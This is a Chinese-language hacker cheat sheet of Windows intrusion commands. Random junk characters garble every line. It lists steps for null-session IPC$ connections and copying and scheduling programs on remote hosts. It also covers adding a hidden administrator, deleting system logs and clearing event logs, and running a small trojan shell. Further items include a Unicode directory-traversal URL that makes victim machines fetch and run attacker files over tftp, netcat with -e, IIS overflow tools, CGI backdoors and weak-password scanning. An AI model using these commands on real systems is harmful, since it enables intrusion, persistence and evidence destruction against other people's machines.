网管和黑客都必须知道的命令
[JZ h*A 常用的几条NET命令：
LVoyA/ F b.@ H1L （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
F/xCG n P- l_ZO^E~D_ （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
>^ ;(c4C /!-J5 3K （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
,Q+\h> I _~:j3=1& n （查看远程主机时间） net time \\IP地址
/[6:LnaE [~!.a\[RW （定时启动某个程序） at \\IP地址 02:18 readme.exe
,5=kDw2 e7lo!( > # （查看共享） net view \\IP地址
.@ Hmg a" ^#!G<+ （查看netbios工作组列表） nbtstat -A IP地址
TG4^_nRl gh'kUZG
a （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
xSdN5RN K_Z+]]$# （这两条把自己增加到管理员组）： net user 用户名 密码 /add
Z ~:/#?/ p8$\uo 9YQ net localgroup Administrators 用户名 /add
:| zp8 | |$Qp0vOA} （断开连接） net use \\IP地址\ipc$ /delete
,RR ;VKj Oe/73|
>U 扫尾：
xSx&79Ez<* pmoGudaRF del C:\winnt\system32\logfiles\*.*
:&qC <UD gO9'q='5l del C:\winnt\ssytem32\config\*.evt
u/;_?zI }+*w.X}L del C:\winnt\system32\dtclog\*.*
>G<4R o" LgO i3 del C:\winnt\system32\*.log
aD? # , ;,mBT[_ZO del C:\winnt\system32\*.txt
GA(OK-WUd 4P`PmQ=GQh del C:\winnt\*.txt
8I<_w4fC >).@Nb;e del C:\winnt\*.log
$^]
9 VtD@&N 一、netsvc.exe
tN[ S t K<RmaXZ 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
o*?[_{x W )o86lH"z netsvc /list \\IP地址
P_kaIPP -hQ96S8 netsvc schedule \\IP地址 /query
&qNP?>C!= G~JC gi netsvc \\IP地址 schedule /start
_'H2>V_ ^6ExW>K 二、OpenTelnet.exe
PG\\V$}A( 'uws 远程启动主机的Telnet服务，并绑定端口到7878，例如：
!}z%#$ )lQN)! .) OpenTelnet \\IP地址 用户名 密码 1 7878
0T7M_G'5Q ~o}moE/
;O 然后就可以telnet到主机的7878端口，进入DOS方式下：
0@o;|N"i ])+Sc"g4k telnet IP地址 7878
jQY >9+t rat=)n)"t 三、winshell.exe
[[#xES21F GTT 5<diw 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
m}; ~JMo] s.<olxXRW p Path （查看winshell主程序的路径信息）
I/u'bDq #Y/97_2 xa b reBoot （重新启动机器）
2qt=jz\s qPp1:a" d shutDown （关闭机器）
Tbe_x s^ 7yo|ie@S s Shell （执行后你就会看到可爱的“C:\>”）
1-4 e_YW~z=6t x eXit （退出本次登录会话，此命令并不终止winshell的运行）
]R97 n|s_
=~,$V<+c
CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
bv .EM ON:LPf>"- 四、3389登陆器，GUI方式登录远程主机的
emGV]A%nss ; :v]NZtc 五、elsave.exe
Q,[rrG;?@ }~7H2d);- 事件日志清除工具
R
tXF .q
AQP L elsave -s \\IP地址 -l "application" -C
~,(0h:8 113Z@ F elsave -s \\IP地址 -l "system" -C
34"{rMbQ \9dz&H elsave -s \\IP地址 -l "security" -C
trID#DT~ % <8K^|w 执行后成功清除应用程序日志，系统日志，安全日志
^h Q:A4@q s4\SX, 六、hbulot.exe
X7'h@>R qkIA,Kgy 开启win2kserver和winxp的3389服务
,apd3X%g tXssejiE% hbulot [/r]
zv$=* dbf^A1HI 使用/r表示安装完成后自动重起目标使设置生效。
k +W sg'Y4 七、nc.exe(netcat.exe)
k@'?"CP\Xq @\x, ;!N@ 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
&6|6J1c8 T{5M1r 想要连接到某处: nc [-options] hostname port[s] [ports] ...
8cYuzt].. Ri^sQ< ~( 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
$bF`PGR_ ~$ cm 9> 参数:
5#9`RO T9 o+)m}' T8 -e prog 程序重定向，一旦连接，就执行 [危险!!]
VZ9e~){xA (E2lv#[ -g gateway source-routing hop point[s], up to 8
}w|=c >'_} AxG?zBTFx -G num source-routing pointer: 4, 8, 12, ...
Y/?DSo4G :epitpJ -h 帮助信息
e8WPV +lY\r + ; -i secs 延时的间隔
:Su 5 OF<[Nh\. -l 监听模式，用于入站连接
$6 Q2)^LJ 7LyV`6{70 -n 指定数字的IP地址，不能用hostname
cOj +}Hz58 V^/h;/! ^ -o file 记录16进制的传输
0C4*F IdN%f]=/ -p port 本地端口号
cG~_EX$ T1 g:gfw@ -r 任意指定本地及远程端口
q\{;_?a !VJT"Ds_ -s addr 本地源地址
J8 `1V `$ tA;ZW2$# -u UDP模式
bKZAJLnd (+]Ig> t -v 详细输出——用两个-v可得到更详细的内容
3RTB~K8:{ #=)?s
8T -w secs timeout的时间
(
S C7m / X:zyzEhS -z 将输入输出关掉——用于扫描时
/_ hfjCE 八、TFTPD32.EXE
g:@Cg.q8 A_X^k|)T 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
IArpCF/"8 O(c4iWm http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
{<Xo,U7 y {kY`X[fvZ 然后可以直接令文件运行：
t&p:vXF2 9e :d2 http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
j3V"d 3) R[ +]d|L 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
MOH,'@&6^ T8M[e SbZ 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
5BGv^Qb_2 <try%p|f 一、一 Xscan命令行运行参数说明：
/ab K/8ZQ
E`sapk 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
e2VL/>y` ;Kq<',u~ 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
n=#[Mi $ Y <iY 9cV|}3 xscan -file <主机列表文件名> <检测项目> [其他选项]
@/ovdf{ [3bwbfHhi 其中<检测项目> 含义如下:
~k:>Xo[|O = -a?oH- -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
y+~Aw"J} .,iw2: -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
l*V72!Mv aV92.Z_Ku -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
'E4(!H,k *<
SU_dAh -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
N]<~NG:6b 3 ` C3+ -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
Ov{B-zCA J3!k*"P [其他选项] 含义如下:
f|HgLFx 8mQd*GGu1 -v: 显示详细扫描进度
m SvTnd8 qkyX *_} -p: 跳过Ping不通的主机
6`{)p&9 8)Bn?6. -o: 跳过没有检测到开放端口的主机
s#8{: ko :[$i~V -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
